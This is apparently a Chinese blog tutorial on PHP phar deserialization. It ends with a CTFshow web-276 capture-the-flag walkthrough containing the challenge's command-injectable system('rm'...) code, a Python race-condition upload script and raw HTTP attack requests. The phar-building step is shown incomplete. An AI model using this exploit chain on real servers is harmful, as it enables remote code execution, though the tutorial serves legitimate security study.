共计 6336 个字符,预计需要花费 16 分钟才能阅读完成。
什么是 phar?
phar 类似 Java 中的 jar,将整个 php 应用程序打包到一个文件里面。
用户可以直接通过 php test.phar 执行一个 php 项目
phar 本质上是一个包含多个文件的压缩包,里面存储着有特殊的数据。
开发者可以把 phar 一整个项目打包成一个 phar 文件,用户下载这一个文件就可以执行整个项目

phar 文件的结构
大体来说 Phar 结构由 4 部分组成

1.stub:phar 文件标识
<?php
Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>
-
这是一个 合法的 PHP 脚本片段,必须以
<?php开头,并以__HALT_COMPILER(); ?>结尾。 -
当你直接运行
php app.phar时,PHP 解释器会执行这个 stub。 -
它通常用于设置自动加载、引导应用入口等。
简单来说可以把他理解为一个标志
格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件。2. Manifest(清单 / 元数据)
-
一个二进制或序列化的结构,记录了归档中每个文件的:
- 文件路径(在 phar 内部的虚拟路径)
- 偏移量(在文件中的位置)
- 大小
- 压缩方式(none / gzip / bzip2)
- 权限(如 0644)
- 时间戳
- 是否为目录
-
还可能包含全局元数据(通过
setMetadata()设置)。
这部分由 Phar 扩展自动管理,开发者通常无需手动操作。
3. File Contents(文件内容区)
- 所有被添加到 Phar 中的实际文件内容(按顺序或按压缩方式存储)。
- 每个文件可以独立选择是否压缩(Gzip 或 Bzip2)。
- 在 PHP 中可通过
phar://流访问,例如:file_get_contents('phar://myapp.phar/config/app.php');4. Signature(签名,可选)
- 位于文件末尾(但在
__HALT_COMPILER();之后?不,实际在__HALT_COMPILER();之前 的数据之后)。 - 用于验证 Phar 文件是否被篡改。
这个没啥好讲的,一般不是考点
生成一个 phar 文件
注意:要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件。
<?php
class TestObject {}
$phar = new Phar("phar.phar"); // 后缀名必须为 phar
$phar->startBuffering();// 开启 Phar 的缓冲写入模式。操作暂存内存中
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub
$o = new TestObject();
$phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); // 在 Phar 归档内部创建一个名为 test.txt 的虚拟文件,内容为字符串 "test"。// 签名自动计算
$phar->stopBuffering();// 将内存中数据写入磁盘
?>
我们可以在 phpstorm 里面看到 phar 文件展开的格式

phar 文件中的 meta-data 是以序列化的形式储存的

当 PHP 访问 phar://... 流时(如 file_exists('phar://a.phar')),会 自动反序列化 manifest 中的 metadata。
metadata 里面序列化后的数据:

触发反序列化的函数
有序列化数据必然会有反序列化操作,php 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化,测试后受影响的函数如下:

这里我们来演示一下 phar 触发反序列化
生成 phar 的 php:
<?php
phpinfo();
class TestObject {public function __destruct() {
echo $this->data;
echo 'Destruct called';
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); // 后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub
$o = new TestObject();
$phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?>
读取 phar 的 php:
<?php
class TestObject {public function __destruct() {
echo $this->data;
echo 'Destruct called';
}
}
include('phar://phar.phar/test.txt');
运行第一个生成 phar 文件
然后运行第二个 php

可以看到成功触发了反序列化
Bzip / Gzip协议和 phar:// 一样可以触发反序列化
$filename = 'compress.zlib://phar://phar.phar/test.txt';
利用 phar 进行 rce
利用条件
1.phar 文件要能够上传到服务器端。
2. 如 file_exists(),fopen(),file_get_contents(),file() 等文件操作的函数要有可用的魔术方法作为 " 跳板 "。
3. 文件操作函数的参数可控,且::、/、phar等特殊字符没有被过滤。
看几个例题
CTFshow web-276
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){if(preg_match('/php|../i', $this->filename)){$this->evilfile=true;}
if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}
return $this->evilfile;
}
public function __destruct(){if($this->evilfile && $this->admin){system('rm'.$this->filename);
}
}
}
if(isset($_GET['fn']))
{$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{echo 'where is flag?';}
前面的 filter 类暂时先不管
重点是后面的 file_put_contents 和file_get_contents
file_get_contents可以写入我们的 phar 文件
然后 file_put_contents 地方可以使用我们的 phar:// 解析数据从而实现反序列化
那么我们可以构造恶意的 phar 文件实现 rce
构造恶意 phar 文件的 php
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){if(preg_match('/php|../i', $this->filename)){$this->evilfile=true;}
if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}
return $this->evilfile;
}
public function __destruct(){if($this->evilfile && $this->admin){system('rm'.$this->filename);
}
}
}
由于会删除文件,这里需要用到条件竞争
import base64
import requests
import threading
flag = False
url = 'https://01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show/'
data = open('./evil.phar', 'rb').read()
pre_resp = requests.get(url,verify = False)
print(pre_resp.status_code)
if pre_resp.status_code != 200:
print(url + 'n 链接好像挂了....')
exit(1)
def upload():
requests.post(url+"?fn=evil.phar", data=data, verify = False)
def read():
global flag
r = requests.post(url+"?fn=phar://evil.phar/", data="",verify = False)
if "ctfshow{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True
while flag is False:
a = threading.Thread(target=upload)
b = threading.Thread(target=read)
a.start()
b.start()
或者是用 yakit
upload:
POST /?fn=evil.phar HTTP/1.1
Host: 01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show
Connection: keep-alive
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
{{file(C:UsersRycarPhpstormProjectsphp 反序列化 ctfshow-web276evil.phar)}}
rce:
POST /?fn=phar://evil.phar/ HTTP/1.1
Host: 01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show
Connection: keep-alive
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9